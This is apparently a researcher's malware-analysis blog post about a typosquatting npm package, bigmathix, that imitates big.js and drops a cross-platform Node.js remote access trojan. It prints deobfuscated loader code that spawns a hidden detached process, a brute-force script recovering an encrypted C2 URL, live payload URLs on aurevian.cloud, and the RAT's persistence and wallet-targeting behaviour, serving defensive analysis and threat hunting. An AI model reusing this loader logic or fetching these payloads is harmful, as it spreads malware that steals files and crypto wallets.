I’m trying to get some more content out, so here’s a write-up of a small malware campaign I’m dubbing BigSquatRat. We’ll start with some static analysis of a Node.js malware infection chain and then examine its current and historical footprint across GitHub and npm.
My continuous npm scanner that supports my DPRK research site identified a
malicious npm package bigmathix published by user jacksonroman338 (jacksonroman338[@]outlook[.]com).
This npm package is a downloader that retrieves a capable JavaScript RAT.
Malware on npm is nothing new and I pick up several samples per week from my monitor, but this one was interesting due to:
- Obfuscated multi-stage infection chain
- Utilisation of multiple logic gates and dynamic variables to prevent immediate deobfuscation/decryption
- Fairly complex footprint of the malware
NoteDo you want to follow along? Download the package tgz file! Please be careful:
https://dprk-research.kmsec.uk/api/tarfiles/bigmathix/1.0.2sha256: 7a5d8cc19d66c6ee9032b86b1f70888684139e86f8a8084c1ae15332e010e5e2
Note that it’s hosted on my DPRK research site, but attribution has been withheld and this is not attributable to FAMOUS CHOLLIMA/DPRK. It was simply picked up by my continous monitoring.
Impersonating big.js
The malware derives code content and its alleged purpose from legitimate package big.js, however it uses a unique README.md file that is not copied from the original.
What’s fascinating is the 20+ day dwell time on npm before the malicious version was published by the threat actor:
| Version | Released | Verdict |
|---|---|---|
| 1.0.0 | 2025-12-17 | Benign |
| 1.0.1 | 2025-12-17 | Benign |
| 1.0.2 | 2026-01-08 | Malicious |
A week after publishing the malicious version 1.0.2, the package displays 5,000+ downloads on npm.
CommentThe README was almost certainly generated with AI. The high number of downloads is possibly inflated by the threat actor and not a real reflection of real-world impact.
A GitHub repository exists for this npm package, but does not contain the malicious code. See Github and npm footprint below for further details.
Infection chain
This is a very small package. Below is a file tree annotated with the malicious execution flow:
├── big.js <- 1
├── big.mjs
├── dist
│ ├── big.min.js <- 3
│ └── index.min.js <- 2
├── package.json
└── README.md
2 directories, 6 files
The infection chain starts with line 345-347 in /big.js, which imports /dist/index.min.js:
...
const createBig = require('./dist/index.min.js')
P.div = function (y) {
createBig(y) <-- note that the infection chain
var x = this, starts off with an unknown variable `y`
...
/dist/index.min.js contains obfuscated code to launch an adjascent file /dist/big.min.js as a new process with a specific argument (a variable below), which is derived when the package is imported by an infected code project (e variable).
Below you can see a partially deobfuscated and formatted snippet (courtesy of obf-io.deobfuscate.io):
// /dist/index.min.js
module.exports = function (e) {
var r = require("child_process").spawn;
var t = require("path");
var o = require("fs");
var n = require("os");
var t = t.join(__dirname, "big.min.js");
var i = o.existsSync(t) ? o.readFileSync(t).toString() : "module.exports";
var s = [];
if (!i.includes("module.exports")) {
try {
var u;
var c = n.networkInterfaces();
for (u in c) for (var p of c[u]) for (var f of s) if (p.mac.includes(f)) {
throw "error";
}
o.accessSync(t, o.constants.W_OK);
o.writeFileSync(t, i + "(module.exports=e)(process.argv[2]||\"\")");
} catch (r) {
throw new Error("Could not manage big numbers because of Node.js version. Please make sure your Node.js version is compatible.");
}
}
let a = "";
for (let r = 1; r <= 3; r++) {
a += (e * r).toString() + "-";
}
a += "0";
if (o.existsSync(t)) {
r("node", [t, a], {
detached: true,
stdio: "ignore",
windowsHide: true
}).unref();
}
...
/dist/big.min.js is again obfuscated, but it’s the final stop for this npm package before downloading and executing an additional payload.
I won’t paste the entire contents here, instead you can view it on CyberChef.
What’s fascinating about this piece of malware is its usage of GitHub infrastructure and a combination of obfuscation, encoding (base64 naturally), DNS resolution (!) and encryption to hinder analysis.
To decrypt the next-stage payload URL, there are several stages:
- use an unknown argument to get a hostname
z - use DNS to get the IP address
iof the hostnamez - fetch README
rof an attacker controlled packageaxios-net - calculate the sha256
sof a normalisedrstring - use the ip
iand sha256sto decrypt the next-stage urlu - fetch the payload at
u, write it to destination on filesystem, launch the payload using node.
These are extraordinary lengths to go to obfuscate a URL, and it means that this further infrastructure is unknown unless an infected code project is inspected to get the correct initialisation variable. Dynamic analysis will fail without the correct initialiser variable. I can’t find any usage of this package, so we’re stuck never getting this additional IOC… or are we!
Brute forcing the secret
While admirably complex, this encrypted URL can be decrypted. The key to understanding its decryption is in /dist/index.min.js - a commandline argument is generated from its initiating argument a, this commandline argument subsequently forms the key to decrypt the url:
// `/dist/index.min.js` snippet
let a = ""; // a is the commandline argument that is passed to `/dist/big.min.js`
for (let r = 1; r <= 3; r++) {
a += (e * r).toString() + "-";
}
a += "0";
Since this argument builder performs arithmetic on the initialiser argument e, we know it must be (or can be coerced into) a number, which is a flaw that makes it fairly easy to brute force until we can decrypt the payload url.
To brute force it, we copy over the decryption function from the original and loop until we hit a number that generates the correct command line argument to decrypt the encrypted strings:
// bruteforce.js
const { webcrypto, createHash } = require("crypto");
const dns = require("dns").promises;
const subtle = webcrypto.subtle;
// B1 and B2 are two different encrypted strings in big.min.js
const B1 = "oecFCp+UaZbgmltaC5ucwVw3t8rvS2JoGHs1o8ZP2tmfnCLAAf06BvYhAySpzOpJ0OxSyBmnBcWNP1Hppsw6OMj0h+A+U/JffQ==";
const B2 = "qn4z6oWsQKWCyAlUhrUoM/BsMJO9faECIpxhklwlaRHF/t7iXMKSGGHAj27ehCpWh3DmC5++FtcMXDWY8WNVN19DHD7RLXZvY9Rk7t1EY6WVY8O2hvrwk6dFg7dwUKp5acwaIQRFZnI=";
// this hash is dynamically calculated at runtime in big.min.js (step 3 and 4 above) -- it's
// the hash for the content retrieved from
// https://raw.githubusercontent.com/ryanthompson4323/axios-net/refs/heads/main/README.md
// i've hardcoded it here:
const hash = "8819881828726295f6a3728388de9b5e46754456abc1e6ae58582f640203c287"
// the decrypt function copied over from `dist/big.min.js`
async function dec(b64, pass) {
const b = Buffer.from(b64, "base64");
const salt = b.subarray(0, 16);
const iv = b.subarray(16, 28);
const ct = b.subarray(28);
const key = await subtle.importKey(
"raw",
new TextEncoder().encode(pass),
"PBKDF2",
false,
["deriveKey"]
);
const dk = await subtle.deriveKey(
{ name: "PBKDF2", salt, iterations: 100000, hash: "SHA-256" },
key,
{ name: "AES-GCM", length: 256 },
false,
["decrypt"]
);
return Buffer.from(
await subtle.decrypt({ name: "AES-GCM", iv }, dk, ct)
).toString();
}
// a helper function to generate the cmdline argument that's used to decrypt the first stage (B1)
function generateArg(input) {
let arg = "";
for (let r = 1; r <= 3; r++) {
arg += (input * r).toString() + "-";
}
arg += "0";
return arg
}
(async () => {
for (let e = 0; e <= 100; e++) {
const arg = generateArg(e);
try {
const url1 = await dec(B1, arg); // 1. use an unknown runtime argument to
const host = new URL(url1).hostname; // get a hostname `z`
const ip = (await dns.resolve(host))[0]; // 2. use DNS to get the IP address `i` of the hostname `z`
// step 3+4 skipped as I've hardcoded the hash
const c2 = await dec(B2, ip + "." + hash); // 5. use the ip `i` and sha256 `s` to decrypt the second-stage url `u`
console.log("[+] e (initialiser value) =", e);
console.log("[+] arg (command-line argument) =", arg);
console.log("[+] second-stage decrypted =", c2);
break;
} catch {}
}
})();
The output from running this reveals our second-stage download payload is hosted on aurevian.cloud:
[+] e (initialiser value) = 100
[+] arg (command-line argument) = 100-200-300-0
[+] second-stage decrypted = https://aurevian.cloud/public/startup.js?ver=1.2&type=module
Second-stage JavaScript payload
The second-stage downloaded from aurevian[.]cloud is once again obfuscated with encryption and encoding hindering further analysis. Notice the parameters ver and type in the URL? I played around with this but could not get a different payload.
I won’t host the full contents here but you can again view a partially deobfuscated version on CyberChef
or download the original from VirusTotal (sha256: 04d05b9e816278287f2777bc21803b2c8fefe46ae9d438ed92f9da37cc22e50d).
Once again, there is heavy use of obfuscation and encryption, with usage of remote assets as part of the decryption process.
This sample is an intermediary, not the final-stage payload, although it contains logic for persistence (see Hunt below).
The most important parts of the second-stage payload are the network artefacts:
https://raw.githubusercontent.com/shanbennet322/express/refs/heads/main/LICENSE- the remote file that is hashed as part of the decryption processhttps://aurevian.cloud/public/index.js?ver=1.5&type=module- the endpoint where the final-stage payload is hosted
Final payload
To get the final-stage payload, the second-stage retrieves a file from GitHub, calculates the hash, and uses the hash as the key to decrypt the final stage (just like /dist/big.min.js in the npm package!).
The final payload of this infection chain is downloaded from https://aurevian.cloud/public/index.js?ver=1.5&type=module.
Again, you can view a partially deobfuscated version on CyberChef
or you can download the original on VirusTotal (sha256 033bbdfb4d956483bb646cfe818d588eb6e0c5be038bb81bca0eb4b6a0d907cb).
It’s once again obfuscated, but there are minimal efforts to hide the true nature of the file. It’s a cross-platform Node.js remote access
trojan (RAT) configured with a hardcoded C2 - the same one used throughout the infection chain for retrieving payloads - aurevian.cloud.
By this point, I’d had the most fun decrypting the url earlier, so I didn’t dwell on this sample for long. Amongst other things it:
- Polls for any commands to run (which are run as a child process), and can send files back to C2
- Contains the same persistence mechanisms as the second-stage payload
- Has explicit logic to check for the Chrome extension
nkbihfbeogaeaoehlefnkodbefgpgknn(MetaMask) - Can self-delete and remove artefacts from filesystem and registry
GitHub and npm footprint
This campaign has a fairly complex footprint across npm and GitHub that indicate a long-standing campaign.
jacksonroman338/bigmathix
Earlier, I mentioned the npm package links to a GitHub repository; naturally, it omits the malicious JavaScript content but it does contain the vibed README.
The repository has one single commit, and notably that commit has a timezone of UTC+9.
While commit details are often unreliable for deriving operational details, even stomped commit details with a specific timezone are interesting:
From 188623874526cf7cd360f70fb199dbebad4f91a5 Mon Sep 17 00:00:00 2001
From: jacksonroman338 <jacksonroman338@outlook.com>
Date: Wed, 17 Dec 2025 21:09:50 +0900
Subject: [PATCH] initial commit
CommentThe Github account and repo are almost certainly attacker controlled as the commit email and username are the same as the npm publisher.
omaringram1/bigmathutils
Another repository with a live but benign npm package bigmathutils. This is almost certainly attacker controlled
as it has an identical README and commented out malicious initial injection points in /big.js.
The npm package was deployed 7 January 2026 and has a single benign version.
Again, commits on the repository have a +9 UTC timestamp:
From 9fb809741f4af93dd36043024114749ddf4d66ec Mon Sep 17 00:00:00 2001
From: omaringram1 <omaringram1@outlook.com>
Date: Wed, 7 Jan 2026 17:27:03 +0900
Subject: [PATCH] add git workflows
krystalreeves85/bigmathex
Identified as a predecessor to bigmathix and GitHub repository, developed in December 2025.
A commit by krystalreeves85 krystalreeves85@protonmail.com with message “obfuscate the code” was observed on Thu, 4 Dec 2025 01:57:33 +0900. Again +9 UTC.
The corresponding npm package bigmathex was first released on 2 December 2025 and revoked by npm on 30 December 2025. It now displays the npm Security Holder.
takuyatono/bignumx
Another predecessor with a revoked npm package, bignumx was created in November 2025 and revoked by npm on 30 December 2025 and displays the npm Security Holder.
Again, +9 UTC commit timestamp:
From 739c68bcea2b27b7bc740d25cfeb5eceb98e4e02 Mon Sep 17 00:00:00 2001
From: takuyatono <smalls3586@gmail.com>
Date: Mon, 17 Nov 2025 12:18:38 +0900
Subject: [PATCH] initial commit
In addition to the repositories linked to npm packages, the decryption mechanisms also reference other content on GitHub and npm that are almost certainly attacker controlled:
ryanthompson4323/axios-net
The README is fetched from this repository and hashed using sha256 by /dist/big.min.js, as part of a decryption key.
This has a single commit with a +9 UTC timestamp:
From 3eefd6644a593af7a1533024dac08e329eb113bd Mon Sep 17 00:00:00 2001
From: ryanthompson4323 <ryanthompson4323@gmail.com>
Date: Fri, 31 Oct 2025 02:17:02 +0900
Subject: [PATCH] initial commit
This also has a corresponding npm package axios-net, which appears to be a benign clone of axios at a cursory glance, but I didn’t dive deep.
shanbennet322/express
Referenced in the second-stage payload, this has a single commit and a +9 UTC timestamp:
From b3c59cabe93c677b33d42a74e965a89ed02d5869 Mon Sep 17 00:00:00 2001
From: shanbennet322 <shanbennet322@gmail.com>
Date: Fri, 31 Oct 2025 01:44:19 +0900
Subject: [PATCH] initial commit
Hunt
This infection chain highlights some neat ways to hunt Node.js malware by profiling your environment:
- Atypical node.exe child processes -
/dist/big.min.jscontains logic for cross-platform persistence, which includes setting an ASEP run key on Windows usingreg add - Atypical parent processes for node.exe - the persistence run key uses a wscript.exe launcher, so the process tree will look like wscript.exe -> node.exe
- On Linux, you’ll observe a node -> systemctl process tree, as it uses a systemctl service for persistence
- Interaction with sensitive files - on Mac, it overwrites
.zshrc,.bash_profile,.zprofile, or.bashrcand also attempts to shim itself into~/.nvm/nvm.sh - On Mac, it also uses pkill to kill duplicate instances of itself, so another potential rare child process of node
Assessment
Attribution is currently withheld.
There are several things that are notable about this campaign:
- Complex footprint of the malware across GitHub, npm, and the dedicated domain
- Cross-platform support for the loader and RAT
- The consistent +9 UTC commit timestamps across GitHub repositories
- Unique pattern of hashing dead-drop content to decrypt encrypted content
- “Vibe-squatting” of a legitimate package (derived code, but unique vibed README) — I could only find samples squatting big.js
- Particular focus on MetaMask extension by the RAT
Some of these attributes, especially the cryptocurrency theme and vibe-squatting, are consistent with FAMOUS CHOLLIMA, however this malware is so far removed from my contemporary understanding of their TTPs. There is a possibility this is conducted by another DPRK adversary.
Closing thoughts
This was fun to dive into. I identified an extensive footprint of this campaign but there must be more to uncover. I will watch their activity with great interest.
The threads are there for pulling and my hands must oblige.